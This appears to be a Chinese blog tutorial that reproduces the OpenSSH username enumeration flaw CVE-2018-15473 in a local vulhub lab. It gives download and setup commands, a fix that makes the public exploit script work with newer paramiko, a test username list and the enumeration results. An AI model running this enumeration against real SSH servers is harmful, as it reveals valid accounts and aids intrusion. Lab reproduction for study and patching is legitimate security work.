避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

namp發表於2023-05-19

介紹:

OpenSSH 7.7前存在一個使用者名稱列舉漏洞,透過該漏洞,攻擊者可以判斷某個使用者名稱是否存在於目標主機中,在復現過程中遇到了很多坑,這裡我就把遇到坑和解決方法告訴大家!!!

漏洞環境:

靶機:Ubuntu(vulhub)

IP:192.168.0.103

 

攻擊機:kali

IP:192.168.0.104

 

漏洞復現:

1.開啟環境

#cd vulhub-master/openssh/CVE-2018-15473     //進入目錄
#docker-compose build
#docker-compose up -d      //開啟環境

 避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

 環境啟動後,我們在kali執行ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.0.103 -p20022,輸入密碼vulhub,即可登入到容器中,這裡我就不在演示了。

 

2.工具下載

使用 CVE-2018-15473-Exploit 工具進行使用者名稱列舉。

其中在kali裡面下載

#wget http://github.com/Rhynorater/CVE-2018-15473-Exploit/archive/refs/heads/master.zip      //使用wget下載
#unzip master.zip      //解壓

其中注意!在複製下載壓縮包連線到kali下載時複製是https,可能會下載失敗,這裡解決方法是改成http,如果還是下載失敗,建議本機下載複製到kali裡。

避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

 

 3.漏洞復現

首先進入解壓好的資料夾裡,透過執行pip install -r requirements.txt安裝依賴。

避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

可能會出現一下報錯資訊

WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv 

 提示以“root”使用者身份執行 pip 可能會導致許可權損壞和衝突,因此我們需要創造一個虛擬的環境區執行它。

#python3 -m venv tutorial-env    //建立一個虛擬環境
#source tutorial-env/bin/activate   //啟用環境

#pip install -r requirements.txt   //再次安裝依賴

 避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

 

新增幾個使用者名稱到exampleInput.txt裡

root
example
vulhub
nobody
rootInvalid
user
phithon
123
321

避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

 

執行命令進行使用者名稱列舉

#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103

會發現有報錯

避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

Traceback (most recent call last):
  File "/root/桌面/CVE-2018-15473-Exploit-master/sshUsernameEnumExploit.py", line 33, in <module>
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
                               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'property' object is not subscriptable
 

 這裡要修改的有三處地方,都是在_handler_table換成_client_handler_table。

第一處在sshUsernameEnumExploit.py指令碼的33行

第二處在124行

第三處在125行

避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473)

 在執行指令碼

#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103

可以看到成功列舉出使用者名稱

避坑版-OpenSSH 使用者名稱列舉漏洞(CVE-2018-15473) 

 可見,rootexamplevulhubnobody是存在的使用者,rootInvaliduserphithon、123、321是不存在的使用者。

 

相關文章